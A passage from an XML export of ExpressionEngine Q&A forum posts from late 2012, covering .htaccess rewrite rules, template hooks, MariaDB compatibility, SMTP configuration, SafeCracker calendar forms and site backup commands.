this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['uri_protocol'] = 'AUTO';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['uri_protocol'] = 'REQUEST_URI';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17" LastEditorUserId="17" LastEditDate="2012-11-30T21:11:49.753" LastActivityDate="2016-12-09T18:16:12.287" Title="Removing index.php rewrite not working" Tags="|htaccess|" AnswerCount="6" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="867" PostTypeId="1" AcceptedAnswerId="872" CreationDate="2012-11-30T18:56:21.520" Score="6" ViewCount="187" Body="&lt;p&gt;I'm considering writing an extension that greatly depends on hooks that are available before and during template parsing. I see in the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/global/template/index.html#template-fetch-template&quot;&gt;ExpressionEngine hook documentation&lt;/a&gt; that there is a hook called 'template_fetch_template' and its parameter is an array of template data called $row. I can't tell from the documentation &lt;em&gt;exactly&lt;/em&gt; what data is in that array. What are the array indexes and what kind of content do they possess?&lt;/p&gt;&#xA;" OwnerUserId="365" LastActivityDate="2012-11-30T19:12:10.587" Title="template_fetch_template hook $row parameter" Tags="|templates|extension|hook|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="868" PostTypeId="2" ParentId="866" CreationDate="2012-11-30T19:02:43.227" Score="2" Body="&lt;p&gt;The one I've been using has a nice little comment that might help you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt; &#xA; RewriteEngine On &#xA; # Removes index.php &#xA; RewriteCond $1 !\.(gif|jpe?g|png)$ [NC] &#xA; RewriteCond %{REQUEST_FILENAME} !-f &#xA; RewriteCond %{REQUEST_FILENAME} !-d &#xA; RewriteRule ^(.*)$ /index.php/$1 [L] &#xA; # If 404s, &quot;No Input File&quot; or every URL returns the same thing &#xA; # make it /index.php?/$1 above (add the question mark)&#xA;&amp;lt;/IfModule&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="341" LastActivityDate="2012-11-30T19:02:43.227" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="869" PostTypeId="2" ParentId="866" CreationDate="2012-11-30T19:03:17.770" Score="0" Body="&lt;p&gt;You may need to add a &lt;code&gt;?&lt;/code&gt; after &lt;code&gt;index.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^(.*)$ /index.php?/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastActivityDate="2012-11-30T19:03:17.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="870" PostTypeId="1" AcceptedAnswerId="877" CreationDate="2012-11-30T19:04:19.290" Score="4" ViewCount="651" Body="&lt;p&gt;I'm building a basic CRM system based on channel entries and SafeCracker forms for a client extranet. The client is asking me if it's possible to view a 'system notes/audit trail' for each entry so they can keep track of who has edited a channel entry and what they edited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've told them we can enable channel entry versioning, but this only lets them see the date/time and author of changes at a glance, and you have to manually re-load a version and compare it to another to see what has changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, is there another way to show some sort of audit trail of edits made to specific fields within ExpressionEngine? If so, how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the built-in versioning is my worse case scenario, but it seems limited in how you view them at a glance. A slightly better (albeit, hacky) idea is to have a custom script that would compare entry versions between two versions, in order to list out the exact changes between them, but I'm hoping that there's a better solution out there again that someone has implemented before.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2012-11-30T20:06:05.480" Title="Viewing an audit trail of channel entry edits/revisions" Tags="|channel-entries|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="871" PostTypeId="2" ParentId="866" CreationDate="2012-11-30T19:05:55.790" Score="1" Body="&lt;p&gt;The one I use (which always works for me on MediaTemple DV hosting) is slightly different. Maybe it'll work for you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteCond $1 !^/index.php&#xA;RewriteCond $1 !.(css|js|png|jpe?g|gif|ico)$ [NC]&#xA;RewriteRule ^(.*)$ index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="402" LastActivityDate="2012-11-30T19:05:55.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="872" PostTypeId="2" ParentId="867" CreationDate="2012-11-30T19:12:10.587" Score="8" Body="&lt;p&gt;This is array_keys($row):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;    [0] =&amp;gt; template_id&#xA;    [1] =&amp;gt; site_id&#xA;    [2] =&amp;gt; group_id&#xA;    [3] =&amp;gt; template_name&#xA;    [4] =&amp;gt; save_template_file&#xA;    [5] =&amp;gt; template_type&#xA;    [6] =&amp;gt; template_data&#xA;    [7] =&amp;gt; template_notes&#xA;    [8] =&amp;gt; edit_date&#xA;    [9] =&amp;gt; last_author_id&#xA;    [10] =&amp;gt; cache&#xA;    [11] =&amp;gt; refresh&#xA;    [12] =&amp;gt; no_auth_bounce&#xA;    [13] =&amp;gt; enable_http_auth&#xA;    [14] =&amp;gt; allow_php&#xA;    [15] =&amp;gt; php_parse_location&#xA;    [16] =&amp;gt; hits&#xA;    [17] =&amp;gt; group_name&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;template_data&lt;/code&gt; is probably the most interesting one. It contains the unparsed template code. Note that you cannot change the template code directly (because $row is a copy not a reference), but you can &lt;em&gt;prepend&lt;/em&gt; to the $this-&gt;EE-&gt;config-&gt;_global_vars array with a key that consists of a substring from the template code (or indeed, the entire template code could be the key). As the globals array is replaced into the template later on this gives you a mechanism for manipulating the template code before it is parsed.&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2012-11-30T19:12:10.587" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="873" PostTypeId="2" ParentId="770" CreationDate="2012-11-30T19:16:14.033" Score="0" Body="&lt;p&gt;I used to have this problem fairly consistently until I figured out the issue: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your email is hosted &lt;em&gt;separately&lt;/em&gt; from your primary web hosting, make sure you have the webhost's email service turned &lt;strong&gt;OFF&lt;/strong&gt; for that domain. There are usually tools within their control panel or Plesk to allow you to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's solved the issue for me in nearly all cases where the email stopped working after moving to the live domain. Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="402" LastActivityDate="2012-11-30T19:16:14.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="874" PostTypeId="2" ParentId="866" CreationDate="2012-11-30T19:42:46.167" Score="2" Body="&lt;p&gt;I can't tell you why, but this is what I have.  I host several sites with ASO and it has always worked for me.  It's also possible there is something in there that isn't needed. I've just hated to mess with something that has worked!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,L]&#xA;RewriteCond $1 !\.(css|js|gif|jpe?g|png) [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;RewriteCond %{THE_REQUEST} ^[^/]*/index\.php [NC]&#xA;RewriteRule ^index\.php(.+) $1 [R=301,L]&#xA;RewriteCond %{THE_REQUEST} ^GET&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="284" LastActivityDate="2012-11-30T19:42:46.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="875" PostTypeId="1" AcceptedAnswerId="925" CreationDate="2012-11-30T19:52:28.887" Score="8" ViewCount="325" Body="&lt;p&gt;Before I start adding multiple Channel Entries tags to a template, and getting my hands dirty with custom SQL, I wanted to see if this was possible. I'm using exp:channel:category_archive in the sidebar of a page and would love the output to respect the Low Reorder order on the list of entries it outputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Category Sorted Entries doesn't seem to support this yet &lt;a href=&quot;http://rog.ee/category_sorted_entries&quot;&gt;http://rog.ee/category_sorted_entries&lt;/a&gt; and according to LR support this doesn't seem possible &lt;a href=&quot;https://getsatisfaction.com/low/topics/category_archives_wont_reorder&quot;&gt;https://getsatisfaction.com/low/topics/category_archives_wont_reorder&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone solved this?&lt;/p&gt;&#xA;" OwnerUserId="219" LastActivityDate="2012-12-02T01:50:41.910" Title="Is it possible to output exp:channel:category_archive listings to match the Low Reorder order of the entries?" Tags="|categories|category-archive|low-reorder|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="876" PostTypeId="2" ParentId="866" CreationDate="2012-11-30T20:01:40.403" Score="6" Body="&lt;p&gt;Try adjusting your uri_protocol settings. When I have experienced these issues it has always been solved by specifying &quot;PATH_INFO&quot; or &quot;ORIG_PATH_INFO&quot;.&lt;/p&gt;&#xA;" OwnerUserId="219" LastActivityDate="2012-11-30T20:01:40.403" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="877" PostTypeId="2" ParentId="870" CreationDate="2012-11-30T20:06:05.480" Score="3" Body="&lt;p&gt;How about this: Because you are using Safecracker, you can have each new edit be actually submitted as a new entry, with the old &lt;code&gt;entry_id&lt;/code&gt; saved in a field called &lt;code&gt;original_entry_id&lt;/code&gt;. Then set the status of that entry to &quot;Old&quot; or &quot;Audit&quot; or something like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I certainly think it's not the most efficient way to store versioning data in EE, and your control panel edit screen will end up with, potentially, a LOT of entries.  On the other hand, it's pretty easy to implement, it saves ALL the entries in a way that you can easily filter and compare, and you could periodically clean out the old audit entries by the &quot;Audit&quot; status, or move them out to a separate table if it got to be a big issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meanwhile, the site would go on showing the live entries and the client would be happy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only catch I can immediately see is the &lt;code&gt;url_title&lt;/code&gt;; you'd also have to change the &lt;code&gt;url_title&lt;/code&gt; of the &quot;Audit&quot; versions, perhaps to something like &lt;code&gt;url_title_entry_id&lt;/code&gt;. There'd also be an issue with any tracker data, comments, or other data attached to the entries -- but categories, tags, author, stuff like that would come through perfectly.&lt;/p&gt;&#xA;" OwnerUserId="480" LastActivityDate="2012-11-30T20:06:05.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="878" PostTypeId="1" AcceptedAnswerId="882" CreationDate="2012-11-30T20:52:39.480" Score="7" ViewCount="643" Body="&lt;p&gt;My hosting company is now offering MariaDB as an alternative to MySQL. Does anybody know if EE is compatible with MariaDB and if it offers any performance benefits?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://mariadb.org/&quot;&gt;https://mariadb.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="98" LastActivityDate="2012-11-30T22:06:38.200" Title="Compatibility / Performance Gains from using MariaDB?" Tags="|database|performance|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="879" PostTypeId="5" CreationDate="2012-11-30T21:32:30.343" Score="0" Body="&lt;p&gt;From one ExpressionEngine installation, multiple sites can be managed across multiple domains. Sites can share some preferences and entries. &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/sites/index.html&quot; rel=&quot;nofollow&quot;&gt;User Guide&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="411" LastEditorUserId="411" LastEditDate="2012-12-01T15:29:45.800" LastActivityDate="2012-12-01T15:29:45.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="880" PostTypeId="4" CreationDate="2012-11-30T21:32:30.343" Score="0" Body="Multiple Site Manager" OwnerUserId="411" LastEditorUserId="411" LastEditDate="2012-12-01T15:29:41.450" LastActivityDate="2012-12-01T15:29:41.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="881" PostTypeId="2" ParentId="878" CreationDate="2012-11-30T21:39:23.210" Score="5" Body="&lt;p&gt;MariaDB (and Percona MySQL) are drop-in replacements for MySQL, so it's 100% compatible. I would definitely switch to MariaDB, it has huge performance gains. We personally use it (Percona that is, but they are essentially the same thing) on our website (which runs EECMS) and exclusively use Percona MySQL on our hosting servers.&lt;/p&gt;&#xA;" OwnerUserId="498" LastActivityDate="2012-11-30T21:39:23.210" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="882" PostTypeId="2" ParentId="878" CreationDate="2012-11-30T22:06:38.200" Score="8" Body="&lt;p&gt;I use MariaDB on my home development environment and I love it. MariaDB is completely compatible; it's a fork of the MySQL project by the original creator of MySQL, in fact. (He left the company when it got bought by Sun some years back.) There should be zero issues&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to performance: you will &lt;em&gt;probably&lt;/em&gt; see performance gains. It's always hard to say, with databases, without knowing about your specific application usage/traffic patterns/etc. However, MariaDB has made some significant improvements to the query plan optimizer, and the table storage engines are also significantly better in some ways. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to table storage engines: I recommend using the ARIA engine &lt;em&gt;if you've also got MariaDB running on your local dev environment&lt;/em&gt;; it is a good storage engine. If you do &lt;em&gt;not&lt;/em&gt; have MariaDB running on all your servers, though, use XtraDB (the InnoDB replacement); exporting ARIA tables could cause headaches on import if you're not importing them to another MariaDB installation. (This is not a problem specific to MariaDB -- it would happen on any MySQL or clone installation that doesn't have the corresponding storage engine installed.)&lt;/p&gt;&#xA;" OwnerUserId="139" LastActivityDate="2012-11-30T22:06:38.200" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="883" PostTypeId="2" ParentId="770" CreationDate="2012-11-30T22:24:27.270" Score="0" Body="&lt;p&gt;I know I'm late to the party but I've got Gmail working with CartThrob. Do you possibly have the wrong settings configured for Gmail/GoogleApps?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['mail_protocol']    = 'smtp';&#xA;$config['smtp_server']      = 'ssl://smtp.gmail.com:465';    // Use :XXX to set the port number.&#xA;$config['smtp_username']    = 'username@gmail.com'; // GA - username@customdomain.com &#xA;$config['smtp_password']    = 'password';&#xA;$config['email_newline']    = &quot;\r\n&quot;;&#xA;$config['email_crlf']       = &quot;\r\n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2012-11-30T22:33:38.960" LastActivityDate="2012-11-30T22:33:38.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="884" PostTypeId="2" ParentId="249" CreationDate="2012-11-30T23:14:25.313" Score="6" Body="&lt;p&gt;Just got this one working on a similar project:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Short answer:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to make sure you are submitting all of the fields that the calendar module needs and that they are named correctly&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Long answer:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the end of the &quot;save_calendar_data&quot; var/function (starts on line 1191) of /themes/third_party/calendar/js/calendar_publish.js comment out &quot;return success&quot;, and insert &quot;return false&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1316   // TODO: We could check for errors at some point...&#xA;1317        success = true;&#xA;1318   // Comment out return success, and return false instead&#xA;1319        return false;&#xA;1320        //return success;&#xA;1321    };&#xA;1322    //END save_calendar_data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then if you run the {exp:calendar:date_widget} on a page with {exp:calendar:datepicker_js} included, you can then inspect the HTML results after attempting to post an entry, and you will find the following div appended to the end of your safecracker form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;calendar_data&quot;&amp;gt;&#xA;      &amp;lt;input type=&quot;hidden&quot; name=&quot;calendar_id&quot; value=&quot;1&quot;&amp;gt;&#xA;      &amp;lt;input type=&quot;hidden&quot; name=&quot;rule_id[0]&quot; value=&quot;&quot;&amp;gt;&#xA;      &amp;lt;input type=&quot;hidden&quot; name=&quot;rule_type[0]&quot; value=&quot;+&quot;&amp;gt;&#xA;      &amp;lt;input type=&quot;hidden&quot; name=&quot;all_day[0]&quot; value=&quot;y&quot;&amp;gt;&#xA;      &amp;lt;input type=&quot;hidden&quot; name=&quot;start_time[0]&quot; value=&quot;0001&quot;&amp;gt;&#xA;      &amp;lt;input type=&quot;hidden&quot; name=&quot;end_time[0]&quot; value=&quot;2359&quot;&amp;gt;&#xA;      &amp;lt;input type=&quot;hidden&quot; name=&quot;start_date[0]&quot; value=&quot;20121111&quot;&amp;gt;&#xA;      &amp;lt;input type=&quot;hidden&quot; name=&quot;end_date[0]&quot; value=&quot;20121113&quot;&amp;gt;&#xA;      &amp;lt;input type=&quot;hidden&quot; name=&quot;repeat_years[0]&quot; value=&quot;&quot;&amp;gt;&#xA;      &amp;lt;input type=&quot;hidden&quot; name=&quot;repeat_months[0]&quot; value=&quot;&quot;&amp;gt;&#xA;      &amp;lt;input type=&quot;hidden&quot; name=&quot;repeat_weeks[0]&quot; value=&quot;&quot;&amp;gt;&#xA;      &amp;lt;input type=&quot;hidden&quot; name=&quot;repeat_days[0]&quot; value=&quot;&quot;&amp;gt;&#xA;      &amp;lt;input type=&quot;hidden&quot; name=&quot;days_of_week[0]&quot; value=&quot;&quot;&amp;gt;&#xA;      &amp;lt;input type=&quot;hidden&quot; name=&quot;relative_dow[0]&quot; value=&quot;&quot;&amp;gt;&#xA;      &amp;lt;input type=&quot;hidden&quot; name=&quot;days_of_month[0]&quot; value=&quot;&quot;&amp;gt;&#xA;      &amp;lt;input type=&quot;hidden&quot; name=&quot;months_of_year[0]&quot; value=&quot;&quot;&amp;gt;&#xA;      &amp;lt;input type=&quot;hidden&quot; name=&quot;end_by[0]&quot; value=&quot;&quot;&amp;gt;&#xA;      &amp;lt;input type=&quot;hidden&quot; name=&quot;end_after[0]&quot; value=&quot;&quot;&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Copy these hidden fields and you can use them and whatever JS/CSS without the exp:calendar JS/CSS embeds to create a more typical safecracker entry form. In the following example I use JS to update the start and end date, and hard code all the other options in the hidden fields.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker class=&quot;safecracker&quot; channel=&quot;event&quot; include_jquery=&quot;no&quot; datepicker=&quot;no&quot; preserve_checkboxes=&quot;yes&quot; safecracker_head=&quot;no&quot;}&#xA;&amp;lt;ul class=&quot;formRows&quot;&amp;gt;&#xA;      &amp;lt;div style=&quot;display:none;&quot;&amp;gt;&#xA;            &amp;lt;div id=&quot;calendar_data&quot;&amp;gt;&#xA;                  &amp;lt;input type=&quot;hidden&quot; name=&quot;calendar_id&quot; value=&quot;1&quot;&amp;gt;&#xA;                  &amp;lt;input type=&quot;hidden&quot; name=&quot;rule_id[0]&quot; value=&quot;&quot;&amp;gt;&#xA;                  &amp;lt;input type=&quot;hidden&quot; name=&quot;rule_type[0]&quot; value=&quot;+&quot;&amp;gt;&#xA;                  &amp;lt;input type=&quot;hidden&quot; name=&quot;all_day[0]&quot; value=&quot;y&quot;&amp;gt;&#xA;                  &amp;lt;input type=&quot;hidden&quot; name=&quot;start_time[0]&quot; value=&quot;0001&quot;&amp;gt;&#xA;                  &amp;lt;input type=&quot;hidden&quot; name=&quot;end_time[0]&quot; value=&quot;2359&quot;&amp;gt;&#xA;                  &amp;lt;input type=&quot;hidden&quot; name=&quot;repeat_years[0]&quot; value=&quot;&quot;&amp;gt;&#xA;                  &amp;lt;input type=&quot;hidden&quot; name=&quot;repeat_months[0]&quot; value=&quot;&quot;&amp;gt;&#xA;                  &amp;lt;input type=&quot;hidden&quot; name=&quot;repeat_weeks[0]&quot; value=&quot;&quot;&amp;gt;&#xA;                  &amp;lt;input type=&quot;hidden&quot; name=&quot;repeat_days[0]&quot; value=&quot;&quot;&amp;gt;&#xA;                  &amp;lt;input type=&quot;hidden&quot; name=&quot;days_of_week[0]&quot; value=&quot;&quot;&amp;gt;&#xA;                  &amp;lt;input type=&quot;hidden&quot; name=&quot;relative_dow[0]&quot; value=&quot;&quot;&amp;gt;&#xA;                  &amp;lt;input type=&quot;hidden&quot; name=&quot;days_of_month[0]&quot; value=&quot;&quot;&amp;gt;&#xA;                  &amp;lt;input type=&quot;hidden&quot; name=&quot;months_of_year[0]&quot; value=&quot;&quot;&amp;gt;&#xA;                  &amp;lt;input type=&quot;hidden&quot; name=&quot;end_by[0]&quot; value=&quot;&quot;&amp;gt;&#xA;                  &amp;lt;input type=&quot;hidden&quot; name=&quot;end_after[0]&quot; value=&quot;&quot;&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;li&amp;gt;&#xA;            &amp;lt;label for=&quot;title&quot;&amp;gt;Title&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;title&quot; id=&quot;title&quot; value=&quot;{title}&quot;&amp;gt;&#xA;      &amp;lt;/li&amp;gt;&#xA;      &amp;lt;li&amp;gt;&#xA;            &amp;lt;label for=&quot;start_date&quot;&amp;gt;Start Date&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;start_date[0]&quot; id=&quot;start_date&quot; class=&quot;datepicker&quot;&amp;gt;&#xA;      &amp;lt;/li&amp;gt;&#xA;      &amp;lt;li&amp;gt;&#xA;            &amp;lt;label for=&quot;end_date&quot;&amp;gt;End Date&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;end_date[0]&quot; id=&quot;end_date&quot; value=&quot;&quot; class=&quot;datepicker&quot;&amp;gt;&#xA;      &amp;lt;/li&amp;gt;&#xA;      &amp;lt;li&amp;gt;&#xA;            &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; id=&quot;formSubmit&quot;&amp;gt;&#xA;      &amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;{/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="322" LastActivityDate="2012-11-30T23:14:25.313" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="885" PostTypeId="2" ParentId="828" CreationDate="2012-11-30T23:23:40.470" Score="0" Body="&lt;p&gt;I've used datagrab lot of time and it works well! It also imports in Playa fields. I only find some problems when I need to assign category/subcategories. I've never use solspace importer but it should be more  expensive than datagrab.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2012-11-30T23:23:40.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="886" PostTypeId="2" ParentId="801" CreationDate="2012-11-30T23:32:26.517" Score="3" Body="&lt;p&gt;If you want to keep things simple and you have SSH access, there's two things you need to do:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Dump the database&lt;/li&gt;&#xA;&lt;li&gt;Archive the files&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So if you were to SSH in to your box, and change directories to where your index.php file is, you'd first want to dump the database:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mysqldump -h DBHOST -u DBUSER -p DBNAME &gt; data.sql&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replace the DB* variables accordingly. Your DBHOST is typically &quot;localhost&quot; (sans quotes). It will prompt you for the database user's password, so enter that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once that finishes, archive the files:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tar cvf backup.tar * .htaccess&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can download it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://yourdomain.com/backup.tar&quot; rel=&quot;nofollow&quot;&gt;http://yourdomain.com/backup.tar&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To extract the data:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tar xvf backup.tar&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then import the database dump:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mysql -h DBHOST -u DBUSER -p DBNAME &amp;lt; data.sql&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll be prompted for the database user's password again, so enter that.&lt;/p&gt;&#xA;" OwnerUserId="500" LastActivityDate="2012-11-30T23:32:26.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="887" PostTypeId="2" ParentId="856" CreationDate="2012-11-30T23:44:39.363" Score="3" Body="&lt;p&gt;Simply add &lt;code&gt;require=&quot;shipping_method&quot;&lt;/code&gt; to your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout require=&quot;shipping_method&quot;}&#xA;    &amp;lt;select name=&quot;shipping_method&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;&quot;&amp;gt;Select collection or delivery preference...&amp;lt;/option&amp;gt;&#xA;        {shipping_method_options}&#xA;    &amp;lt;/select&amp;gt;&#xA;    {if error:shipping_method}&amp;lt;p class=&quot;form_error&quot;&amp;gt;Please select either collection or delivery.&amp;lt;/p&amp;gt;{/if}&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-11-30T23:44:39.363" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="888" PostTypeId="1" AcceptedAnswerId="958" CreationDate="2012-12-01T01:04:08.923" Score="7" ViewCount="274" Body="&lt;p&gt;I don't use GIT or anything (yet) but am trying to speed up the time it takes to set up a new EE site.  I'm finding that I'm setting up a lot of the same channels, custom fields, low variable, etc.  So I'm wondering, is it / should it be possible to set up a new site the way I want, export out those tables, then import them to sites afterwards as a jump start?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried this, and it worked - sort of.  I tried to export out my tables for Low variable groups and low variables.  Both imported fine.  However, while the groups showed up in the CP, the variables didn't (even though they were in the database).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, thanks for any thoughts you have about this, or tips/links on accomplishing something similar!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Todd&lt;/p&gt;&#xA;" OwnerUserId="284" LastEditorUserId="104" LastEditDate="2012-12-02T10:24:51.870" LastActivityDate="2012-12-08T22:48:31.177" Title="How best to get a new EE install (including channels/fields) up and running quickly?" Tags="|config|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="889" PostTypeId="2" ParentId="888" CreationDate="2012-12-01T01:41:13.987" Score="8" Body="&lt;p&gt;This largely depends on what you are trying to do. So many of my sites are so different that I wouldn't get much of a time savings by setting up much of anything in the DB for re-use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, here are your options in general.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The NSM site genator looks promising and it's all open, but it seems to have been light on activity lately. The last commit appears to have been 5 months ago. Dead project?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ee-garage.com/nsm-site-generator&quot;&gt;http://ee-garage.com/nsm-site-generator&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do a search for &quot;import&quot; at &lt;a href=&quot;http://devot-ee.com&quot;&gt;http://devot-ee.com&lt;/a&gt; then you will see a lot of add-ons which you can use to import data in other formats. Because the control panel is the slowest cog in the process, I think creating data in X format using offline tools and then importing that data would save a bunch of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also just setup add basic items to a bootstrap base install of EE, but again, it's the control panel which slows me down. So, an importer would be faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Certain modules from developers such as Solspace provide auto installs to get examples for their add-ons working. This can be quite helpful at times, especially if you have never worked with the add-on before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, the items which jumps out to me is that you don't know Git. Fix that! By far you will get the most benefit by setting up one base install, copy that to your repo and then clone that repo for each new project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, more and more, developers and clients are expecting to have the development backed up in a version control system. Using Git also gives you more options for fast deployments, and this can save you a lot of time and headaches as well.&lt;/p&gt;&#xA;" OwnerUserId="274" LastActivityDate="2012-12-01T01:41:13.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
